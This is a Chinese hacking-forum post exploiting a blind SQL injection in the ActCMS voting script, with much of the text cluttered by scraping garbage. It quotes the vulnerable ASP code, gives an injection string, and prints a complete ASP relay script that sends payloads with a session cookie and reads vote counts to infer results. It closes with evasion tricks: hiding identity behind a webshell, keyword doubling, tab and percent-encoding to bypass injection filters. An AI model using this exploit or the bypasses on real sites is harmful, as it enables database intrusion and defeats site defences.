注入中转的高级应用，actcms漏洞以及其他

admin

7 }0 ^8 y/ I1 r( l5 M, X1 T' L看到ninty大牛的blog的一篇文章
% R5 z8 Q5 _; x* e5 D, G/ \4 c/ |链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
; V5 G4 |- u+ D, s5 p( S4 `' E关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
! a$ w0 C% {; L# J; A" K, c. E漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
0 \- ?( \) T+ h5 C/ \& }+ n
# U8 |; j, Z  ]5 ^5 O# \9 ^! q2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
" C9 |6 t  n# G" x
3    response.end   

4    end if   
! {, z* ]6 G& F' h8 N
& T/ y. D- x2 m- c3 C) C8 v* Z5    for i=1 to request("voted").count   
8 ?' ^) |+ ?- S+ V' F0 }
) v4 l; R, a9 `2 _: e6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

0 s0 p. u8 i$ p* _$ c. \! z7    next   
& r( \  y. p& R! i
8....   
2 o- @+ h5 \( e& y8 S6 o, K
9response.Redirect "index.asp?id="&id&""   
" A; S, E1 L! c' h# T投票结束回跳转回index.asp这个投票结果页面
5 L0 |) G; e: P9 h. O* b6 c如果投票成功票数加1
6 x% I  u  r6 t* q- |  N            失败票数不变
8 I9 g4 B9 B- k如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
* D& h* z# Y) r/ s
! Y, n* p7 B) k7 b2009-12-27 13:20
8 K, J9 b( P, B* `  B1 j5 H
" X3 V# c# i8 H+ }利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
6 j2 O- J- n+ B' d9 X' Y我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
2 B; v! N5 n+ Y0 `" @  q注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
# `+ G5 T- c$ ^
02JmdcwName=request("jmdcw")

8 f+ O" d9 h  Q& u3 N03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName

! S+ k; v& a' G2 f05JmStr=URLEncoding(JmStr)
  b5 _3 w0 W$ p& B5 d1 v' S
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
# s3 s. `# ^* X# o, M4 R! a2 W
08testurl=testurl & "?" & JmStr
) F2 O1 z9 u/ }" g- N
! r/ L# f) N2 _' b09JMUrl=JMUrl & "?" & JmStr
& P4 x' a6 `5 m
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
- `9 v# K' s" z0 }( k+ X8 I! F  u
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
) p" @, G9 p$ T1 l
12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! ^. ]5 @7 B7 l
14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
) Q+ w" |. J6 l0 q# q
# s* k1 V' x8 ^: g: @16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
) z8 z$ O; k+ k" ^- \$ J# M: r
18response.write test1&""&test2&""

19  

20if test1=test2 then '如前后记录相等，表示失败
3 d: g, u2 T) r7 D( q, b
21  response.write "failed"

3 Z' j/ m+ I1 v! q6 ^! K22else
. {& Z4 x& w6 N, x
23  response.write "succeed"

$ Q$ k4 |: H2 e+ l3 T( m8 c- `24end if  

. z8 S2 n$ m* D8 L. V( `$ j# d25  
; \( l' q, {' w! d3 C
, A7 ]/ m( N$ `9 ~: L3 Q, I' K26response.write "by 3x"
' s! S& o* W9 C
27  

$ C' |% u# V9 r* [) s+ m( ^28  
" U3 D) S. g7 l: b
0 p  }( P5 T0 T% I& X29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

4 v+ b$ E+ i. a5 p- `$ ~30Dim Http
" Z0 A- C' t/ j& N5 r$ z6 Q" M
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; k- G) @: p+ q; E) `8 i" f! @
32With Http
) U  R- C! L. k- ^/ m$ @
7 G- H2 r1 v4 G4 D1 o33  

34.Open "GET",PostUrl,False

- i; L" F+ I. }2 p; y! d/ T4 D' E35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

" U) @, }, ]  a5 @( @+ v36.SetRequestHeader "Referer",PostRef
: u$ t1 G+ H* q4 h1 M/ f0 R
7 b% [1 R; u. t2 i37.SetRequestHeader "Cookie",PostCok
. O) J( ]; h$ G5 i% s2 Z7 q  Y) h
38.Send ()
: R0 r6 O1 j8 u! u1 j8 o, c! ~
39PostData = .ResponseBody

40End With
2 b8 u# O+ O4 b" T7 O
41Set Http = Nothing
  Y* \$ L; S' X1 x) [
) U5 u( D* }) a1 s42PostData =bytes2BSTR(PostData)
5 z6 W7 R8 b  Z: ]+ e
) d' v) m4 x  Q# l! _43End Function

44  

45  

46Function bytes2BSTR(vIn)

* C! r; j+ [! z( P% c3 c47Dim strReturn
. j4 ~2 B! i5 u6 ?$ Z
: L% C1 I. c8 g+ p" e) i- x48Dim I, ThisCharCode, NextCharCode
# r  z' M/ g% f' ~8 ~
, C  R/ X; A6 z& x/ h" }) w5 b49strReturn = ""

50For I = 1 To LenB(vIn)
/ I& u& {7 i$ D: u- ]; `9 ~! a( J/ Q
51ThisCharCode = AscB(MidB(vIn, I, 1))
6 O: f8 ]0 K/ A" G9 ]+ S0 U; U
52If ThisCharCode < &H80 Then
' A0 V3 S) A- U
53strReturn = strReturn & Chr(ThisCharCode)
1 m; G+ q! Y& M
54Else

; A; p. F2 l) |  q55NextCharCode = AscB(MidB(vIn, I + 1, 1))

56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1
0 ~  ^! O, V, `( _# i9 @
58End If
# i) b8 A, [% ~$ i2 K# p% q
59Next
7 Y9 d' e' Z% z
0 F9 {/ H2 F, c/ r( G3 Q60bytes2BSTR = strReturn
+ y" p, i* I1 ]) J0 ]- @1 O% V- _
61End Function
% i  E4 ?3 p1 H) J
8 p% e; I' V/ i$ J. Y+ S! F+ _2 q$ G% m62  
& U6 [& ^0 H3 ^7 R
63Function URLEncoding(vstrin)  
' a% {1 F  o  o/ Y3 B! l
# X! U& M7 V/ {! r. H2 P+ }& e64strReturn=""
' w, e6 M! |( i$ n' D3 ^- i
65Dim i

66For i=1 To Len(vstrin)
* U: z! b4 d7 ~) U
* Z- ]% y! c3 w$ P* u! d67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then

8 J. a3 J4 N. t2 h0 A7 |69strReturn=strReturn & ThisChr

70Else

71InnerCode=Asc(ThisChr)
* V6 o, ?, z* `4 X6 @
72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

# B8 c0 o8 E( Y, V; |, ?74End If
# u* ]6 X: O, [, `/ R& E
75Hight1=(InnerCode And &HFF00) \&HFF

& M/ @6 ?$ f4 H8 {5 M76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if
; o8 x8 u3 ~, @# v+ {+ t: W; P2 H
8 V: O: a" X" M, j  E79Next
0 z- t. g) Q$ u4 T
) F' \4 d( z. D, {80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
3 K" z  m2 ^% l" f0 \9 v8 C6 s
: M& M( S5 F: y82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

; H# D- ~' y* t1 I0 @83URLEncoding=strReturn

2 K# E5 N( @4 \5 {3 }- p3 u84End Function
+ s: K3 V1 j0 X/ d
! Y" @1 K# G4 R* ]5 B9 |% z85  

+ x  ~" o( v3 C8 c86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")

9 c) t7 i7 i3 S! E  e88  endpot=instr(startpot,body," ")
% A. t: l  u  h- R* k$ f6 U
$ l  |0 Q6 y' y6 _89  getSt=mid(body,startpot,endpot-startpot)

- K5 K5 G6 |$ i0 V0 ~90end function
6 q0 Q* ^' q6 B9 z/ G; r7 n' I
( O6 o: Z" H5 i( M4 G3 `% F- a91%>
0 r$ q: _, Z  X# b$ }# D注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
4 {" [$ d8 y* t% K3 A1 ^" t9 \测试下效果：
投票成功：
# C8 x5 d$ l3 }5 _  }9 Fhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
9 s/ N1 G( A# k! R
2009-12-27 13:29
: V$ J( r$ }) x5 z3 Y& J& |* y投票失败
- _, k3 W) I9 j0 r+ A' z6 C+ V) Nhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

) y6 P) ]: j& Q( B0 }1 _2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
  r; o0 q/ Z( K很抱歉。。。只能用单线程工具去注入。。。。。
' `9 j5 e- R- R' x2 I所以失败。。。不好意思。。。
% f' I! i8 g0 F# @( K-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
) P/ ?: k8 [! r0 p0 n3 x5 |: i2.post注入转成get型的注入，方便我们使用工具来跑
1 P1 \: y! U" _. L3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

  E, o% \! ]" @0 o9 B